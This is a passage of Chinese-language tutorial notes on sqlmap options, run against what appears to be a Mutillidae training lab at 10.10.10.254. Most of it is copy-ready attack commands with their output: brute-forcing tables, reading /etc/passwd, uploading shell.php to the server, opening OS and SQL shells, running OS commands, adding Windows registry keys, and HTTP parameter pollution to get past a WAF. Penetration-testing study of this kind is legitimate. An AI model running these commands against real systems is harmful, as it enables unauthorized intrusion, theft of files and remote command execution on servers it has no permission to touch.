需要暴破数据库的情况    Mysql < 5.0,没有information_schema 库    Mysq| >= 5.0,但无权读取information_schema 库    微软的access数据库,默认无权读取 MSysObjects 库--common-tables     # 暴力破解表    root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=1&password=p1&user-info-php-submit-button=View+Account+Details" -p "user-agent,username"  --common-tables    Current database    [1 table]    +----------+    | accounts |    +----------+--common-columns (Access 系统表无列信息)   #暴力破解列

11.udf injection

--udf-inject,--shared-lib    编译共享库创建并上传至DB Server,以此生成UDF实现高级注入    Linux : shared object    Windows: DLL    详细文档:    http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-fullcontrol-whitepaper-4633857

12. file system

--file-read="/etc/passwd"       #读取系统的文件    root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=1&password=p1&user-info-php-submit-button=View+Account+Details" -p "user-agent,username"  --file-read="/etc/passwd"    files saved to [1]:    [*] /root/.sqlmap/output/10.10.10.254/files/_etc_passwd (same file)--file-write="shell.php" --file-dest "/tmp/shell.php"    # 前面是 本地 文件,路径下必须存在此文件,,后面是上传至服务器文件路径    root@attacker:~# vim Desktop/shell.php        aaaaaaaaaaaaaaaaaa        aaaaaaaaaaaaaaaaaaa    root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=1&password=p1&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --file-write="/root/Desktop/shell.php" --file-dest "/tmp/shell.php"        [03:20:46] [INFO] the remote file '/tmp/shell.php' is larger (106 B) than the local file '/root/Desktop/shell.php' (102B)        [03:20:46] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.254

13. OS

Mysql、postgresql    上传共享库并生成sys_exec()、sys_eval()两个UDFMssql    xp_cmdshell 存储过程(有就用、禁了启,没有建)--sql-shell    root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=1&password=p1&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --sql-shell        sql-shell> id        [03:38:01] [INFO] fetching SQL query output: 'id'--os-shell    root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=1&password=p1&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --os-shell--os-cmd    root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=1&password=p1&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --os-cmd id        [03:35:28] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.254'

14.windows registory

--reg-read      #读注册表--reg-add       #添加新的注册表--reg-del       #删除注册表--reg-key、--reg-value、--reg-data、--reg-type    例:需要操作系统账号有修改注册表的权限        sqlmap –u="http://1.1.1.1/a.aspx?id=1" --reg-add --regkey="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1

15.general

-S: 指定sqlite会话文件保存位置    sqlmap 查询的信息都保存在 .sqlmap/output/10.10.10.254/ 下-t: 指定记录流量文件保存位置--charset: 强制字符编码    例:--charset=GBK--crawl: 从起始位置爬站深度    例:--batch -crawl=3--csv-del: 指定其他分隔符, dump数据默认存于“,”分割的CSV文件中    例:--csv-del=";"    root@attacker:~# more .sqlmap/output/10.10.10.254/dump/dvwa/users.csv--dbms-cred: 指定数据库账号--flush-session: 清空session  #清空本地查询的保存结果--force-ssl:使用 ssl 加密--fresh-queries: 忽略session查询结果--hex: dump非ASCI字符内容时,将其编码为16进制形式,收到后解码还原    sqlmap -u "http://1.1.1.1/s.php?id=1" --hex -v 3--output-dire/tmp--parse-errors: 分析和现实数据库内建报错信息    sqlmap.py -u "http://1.1.1.1/sqlmap/a.asp?id=" --parse-errors--save: 将命令保存成配置文件    root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --dbs --fresh-queries --save /root/111.txt

16.

参数助记符-Z: sqlmap --batch --random-agent --ignore-proxy-technique=BEU -U "1.1.1.1/a.php?id=1"    #支持简写sqlmap -z "bat,randoma,ign,tec=BEU" -u " 1.1.1.1/a.php?id=1"sqlmap --ignore-proxy --flush-session-echnique=U --dump -D testdb -T users -U "1.1.1.1/a.php?id=1 "sqlmap -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "1.1.1.1/vuln.php?id=1"--answer    sqlmap -u "http://1.1.1.1/a.php?id=l" --technique=E --answers="extending=N" --batch--check-waf: 检测WAF/IPS/IDS--hpp: HTTP parameter pollution    绕过WAF/IPS/IDS的有效方法    尤其对ASP/IS 和ASP.NET/IS --identify-waf: 彻底的waf/ips/ids检查    支持30多种产品

17. miscellaneous(杂项)

--mobile: 模拟智能手机设备--purge-output: 清除output文件夹--smart: 当有大量检测目标时,只选择基于错误的检测结果--wizard:命令向导